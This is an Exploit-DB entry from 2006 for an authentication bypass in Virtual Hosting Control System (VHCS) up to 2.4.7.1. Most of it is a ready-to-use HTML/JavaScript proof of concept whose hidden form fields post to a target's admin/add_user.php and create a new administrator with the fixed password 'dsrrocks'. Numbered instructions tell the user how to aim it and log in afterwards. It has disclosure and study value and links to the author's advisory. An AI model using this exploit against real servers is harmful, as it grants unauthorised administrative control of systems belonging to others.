Exploit-DB #27205
Description: Virtual Hosting Control System 2.2/2.4 - 'login.php?check_login()' Authentication Bypass
Type: webapps
Platform: php
Date: 2006-02-13
Author: Roman Medina-Heigl Hernandez

Exploit:
source: https://www.securityfocus.com/bid/16600/info
 
Virtual Hosting Control System (VHCS) is prone to multiple input and access vulnerabilities.
 
VHCS is prone to an HTML-injection vulnerability and an authentication-bypass vulnerability. These issues could be exploited to gain administrative access to the application; other attacks are also possible.


<html>

<head>
<title>VHCS (version <= 2.4.7.1) PoC. &nbsp;By RoMaNSoFt</title>
<script language="JavaScript">
function submitform()
{
  if (document.admin_add_user.username.value=='admin')
  {
    alert('Learn to read before launching an exploit, script-kiddie!');
    exit();
  }
  
  document.admin_add_user.action=document.admin_add_user.target.value;
  document.admin_add_user.submit();
}
</script>
</head>

<body>
  <hr>
  <center>
  	<b>VHCS (version <= 2.4.7.1) PoC. &nbsp;By RoMaNSoFt &#60roman&#64rs-labs.com&#62 &nbsp;[08.Feb.2006]</b>
  </center>
  <hr>
  
	<form name="admin_add_user" method="post" action="">
            <table width="100%" cellpadding="5" cellspacing="5">
              <tr>
                <td width="20">&nbsp;</td>
                <td colspan="2">
                  &nbsp;
                </td>
              </tr>
              <tr>
                <td width="20">&nbsp;</td> <td width="200">Target URL</td>
                <td> 
                  <input type="text" name="target" value="http://<target>/vhcs2/admin/add_user.php" style="width:400px">
                </td>
              </tr>
              
              <tr>
                <td width="20">&nbsp;</td> <td width="200">Username</td>
                <td> 
                  <input type="text" name="username" value="admin" style="width:200px">&nbsp;(should NOT exist)
                </td>
              </tr>
              <tr> 
                <td>&nbsp;</td>
                <td colspan="2"><a href="javascript: submitform()">Exploit it!</a></td>              
              </tr>
              <tr> 
                <td colspan="3">&nbsp; 
                  </td>
              </tr>
            </table>
            <input type="hidden" name="pass" value="dsrrocks">
            <input type="hidden" name="pass_rep" value="dsrrocks">
            <input type="hidden" name="email" value="vhcs-exploit@rs-labs.com">
            <input type="hidden" name="uaction" value="add_user">
        </form>
        
        <hr>
        <br>
        <u>Quick instructions</u>.-<br>
        <br>
        1.- Enable JavaScript. Fill in the form with appropiate target URL (usually you will only need to replace &#60target&#62 string) and username.<br>
        2.- Remember not to use a probably existing username (such as "admin").<br>
        3.- Launch the exploit. <i>If target system is vulnerable, a new VHCS admin user will be created</i> ;-)<br>
        4.- You will be redirected to VHCS login page. Try to login with your brand new username.<br>
        5.- Ummm, I forgot it... The password is: <b>dsrrocks</b>.<br>

        <br>
        <u>More info (analysis, fix, etc)</u>.-<br>
        <br>
        See <a href=http://www.rs-labs.com/adv/RS-Labs-Advisory-2006-1.txt><i>RS-2006-1</i></a>.<br>
				<br>
				<hr>
</body>

</html>